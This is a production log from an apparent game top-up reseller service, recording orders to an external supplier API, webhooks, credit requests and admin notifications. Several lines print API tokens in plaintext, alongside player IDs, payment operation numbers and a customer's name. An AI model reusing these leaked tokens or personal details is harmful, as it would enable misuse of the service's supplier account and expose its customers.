[2026-03-24 20:52:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"processed":0,"errors":0} 
[2026-03-24 20:52:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sUXREslgDhqIGSnoSKEhg84J8Rr2Ga0x","execution_time":"2026-03-24 20:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231} 
[2026-03-24 20:52:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 20:52:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 20:52:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 20:52:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:52:53] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"6000.0","mainamount":"6000","operation_number":"158722700","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php9bf0td8r8hfm37OhLZy"}},"user_id":1190} 
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:52:55] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:52:55] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18706,"user_id":1190,"amount":6000.0,"admins_notified":7} 
[2026-03-24 20:53:00] production.INFO: Constructing job for order: 179356  
[2026-03-24 20:53:01] production.INFO: Handling job for order: 179356  
[2026-03-24 20:53:01] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:53:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:53:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=5600&uuid=90f43b6e-7050-48e1-8556-2662f1befeb9&Player_ID=110787047  
[2026-03-24 20:53:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=5600&uuid=90f43b6e-7050-48e1-8556-2662f1befeb9&Player_ID=110787047","has_body":false} 
[2026-03-24 20:53:02] production.INFO: Operation sent successfully {"operation_id":164233,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-14QOpr-1774374782","amount":9.4284814400000005463198249344713985919952392578125,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 20:53:02"}},"processed_data":{"order_number":"ORD-14QOpr-1774374782","amount":9.4284814400000005463198249344713985919952392578125,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 20:53:11] production.INFO: Constructing job for order: 179357  
[2026-03-24 20:53:14] production.INFO: Handling job for order: 179357  
[2026-03-24 20:53:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:53:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:53:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=0ffb1583-87ed-4565-95d3-d1a3a9b9475a&Player_ID=9557322619  
[2026-03-24 20:53:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=0ffb1583-87ed-4565-95d3-d1a3a9b9475a&Player_ID=9557322619","has_body":false} 
[2026-03-24 20:53:15] production.INFO: Operation sent successfully {"operation_id":164234,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-j1ibMmxQ-1774374795","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 20:53:15"}},"processed_data":{"order_number":"ORD-j1ibMmxQ-1774374795","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 20:53:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-j1ibMmxQ-1774374795","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:53:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-j1ibMmxQ-1774374795","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:53:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:53:34] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":179357} 
[2026-03-24 20:53:34] production.INFO: Order updated successfully. Order ID: 179357, Status: completed  
[2026-03-24 20:53:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-j1ibMmxQ-1774374795","status":"completed","codes_count":0} 
[2026-03-24 20:53:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03"} 
[2026-03-24 20:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","total_operations":2,"sites_count":1} 
[2026-03-24 20:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-s4rzHxO-1774374702","ORD-14QOpr-1774374782"]} 
[2026-03-24 20:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:54:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:54:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-14QOpr-1774374782","operation_id":164233} 
[2026-03-24 20:54:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 20:54:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:54:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"count":1} 
[2026-03-24 20:54:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"count":1} 
[2026-03-24 20:54:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"user_id":1515,"notification_type":"order_approved","reference_id":179354} 
[2026-03-24 20:54:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:54:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:54:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"processed":1,"errors":0} 
[2026-03-24 20:54:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231,"processed":1,"errors":0} 
[2026-03-24 20:54:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QyF7z0kVBKuvzYr4UqOvcU0eNjQQOxXh","execution_time":"2026-03-24 20:54:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4rzHxO-1774374702","operation_id":164231} 
[2026-03-24 20:54:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 20:54:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-s4rzHxO-1774374702","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:54:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-s4rzHxO-1774374702","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:54:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:54:04] production.ERROR: Order not found or already processed. External ID: ORD-s4rzHxO-1774374702  
[2026-03-24 20:54:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-s4rzHxO-1774374702","status":"completed","codes_count":0} 
[2026-03-24 20:54:45] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18705} 
[2026-03-24 20:54:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 20:54:46] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.8","mainamount":"4.8","operation_number":"158725450","note":"أحمد حمادة","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phppf0mu1l0qojeerytdXL"}},"user_id":1759} 
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:54:49] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:54:49] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18707,"user_id":1759,"amount":4.79999999999999982236431605997495353221893310546875,"admins_notified":7} 
[2026-03-24 20:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:55:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:55:06] production.INFO: async() رجع: true  
[2026-03-24 20:55:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:55:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:55:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:55:20] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"150.0","mainamount":"150","operation_number":"600431092033","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpf86923tjt7lnee8Cg8n"}},"user_id":528} 
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:55:22] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:55:22] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18708,"user_id":528,"amount":150.0,"admins_notified":7} 
[2026-03-24 20:56:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-14QOpr-1774374782","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:56:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-14QOpr-1774374782","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:56:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:56:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BsEiw6BtUjBeXGp3jXPSuCxGT3eZX9xw","execution_time":"2026-03-24 20:56:04"} 
[2026-03-24 20:56:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"BsEiw6BtUjBeXGp3jXPSuCxGT3eZX9xw","execution_time":"2026-03-24 20:56:04"} 
[2026-03-24 20:56:04] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":179356} 
[2026-03-24 20:56:04] production.INFO: Order updated successfully. Order ID: 179356, Status: completed  
[2026-03-24 20:56:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-14QOpr-1774374782","status":"completed","codes_count":0} 
[2026-03-24 20:56:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 20:56:21] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 20:56:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 891  
[2026-03-24 20:56:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 20:56:39] production.INFO: Constructing job for order: 179358  
[2026-03-24 20:56:40] production.INFO: Handling job for order: 179358  
[2026-03-24 20:56:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:56:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:56:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/531/params?qty=1&uuid=7170cb57-2155-4f10-b47d-b5ac3586aed8&Player_ID=51272211466  
[2026-03-24 20:56:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/531/params?qty=1&uuid=7170cb57-2155-4f10-b47d-b5ac3586aed8&Player_ID=51272211466","has_body":false} 
[2026-03-24 20:56:41] production.INFO: Operation sent successfully {"operation_id":164235,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ruo-1774375001","amount":4.93499999999999960920149533194489777088165283203125,"status":"processing","product":"Mythic Emblem Pack","game":"Pubg Store","notes":[],"created_at":"2026-03-24 20:56:41"}},"processed_data":{"order_number":"ORD-Ruo-1774375001","amount":4.93499999999999960920149533194489777088165283203125,"status":"processing","product":"Mythic Emblem Pack","game":"Pubg Store"}} 
[2026-03-24 20:57:11] production.INFO: Constructing job for order: 179359  
[2026-03-24 20:57:14] production.INFO: Handling job for order: 179359  
[2026-03-24 20:57:14] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:57:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:57:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=33ece0de-71d9-4029-8678-a201cd7823a9&Player_ID=0944890796  
[2026-03-24 20:57:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/15/params?qty=1&uuid=33ece0de-71d9-4029-8678-a201cd7823a9&Player_ID=0944890796","has_body":false} 
[2026-03-24 20:57:15] production.INFO: Operation sent successfully {"operation_id":164236,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SiaNCo-1774375035","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 20:57:15"}},"processed_data":{"order_number":"ORD-SiaNCo-1774375035","amount":422.1344000000000278305378742516040802001953125,"status":"processing","product":"400 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 20:58:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03"} 
[2026-03-24 20:58:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","total_operations":2,"sites_count":2} 
[2026-03-24 20:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 20:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 20:58:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 20:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 20:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 20:58:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1,"order_ids":["ORD-SiaNCo-1774375035"]} 
[2026-03-24 20:58:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 20:58:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"orders_count":1} 
[2026-03-24 20:58:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 20:58:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:58:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"count":1} 
[2026-03-24 20:58:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"count":1} 
[2026-03-24 20:58:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"user_id":366,"notification_type":"order_approved","reference_id":179359} 
[2026-03-24 20:58:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:58:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:58:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"processed":1,"errors":0} 
[2026-03-24 20:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236,"processed":1,"errors":0} 
[2026-03-24 20:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"htZchOSuTN46rHHsnHXOYRtv0zebPEo0","execution_time":"2026-03-24 20:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiaNCo-1774375035","operation_id":164236} 
[2026-03-24 20:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 20:58:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"request_approved","reference_id":18706} 
[2026-03-24 20:58:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 20:58:29] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_rejected","reference_id":18707} 
[2026-03-24 20:58:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 20:58:40] production.INFO: SendAcceptReject: Notification queued {"user_id":528,"notification_type":"request_approved","reference_id":18708} 
[2026-03-24 20:58:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 528  
[2026-03-24 20:59:31] production.INFO: Constructing job for order: 179360  
[2026-03-24 20:59:33] production.INFO: Handling job for order: 179360  
[2026-03-24 20:59:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:59:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:59:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a9d12e38-b2a9-41a3-8255-5e592e4d7901&Player_ID=5644263929  
[2026-03-24 20:59:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a9d12e38-b2a9-41a3-8255-5e592e4d7901&Player_ID=5644263929","has_body":false} 
[2026-03-24 20:59:34] production.INFO: Operation sent successfully {"operation_id":164237,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bQA-1774375174","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:59:34"}},"processed_data":{"order_number":"ORD-bQA-1774375174","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 20:59:43] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bQA-1774375174","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:59:43] production.INFO: Processed webhook data (normalized) {"id":"ORD-bQA-1774375174","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:59:43] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:59:43] production.INFO: SendAcceptReject: Notification queued {"user_id":1158,"notification_type":"order_approved","reference_id":179360} 
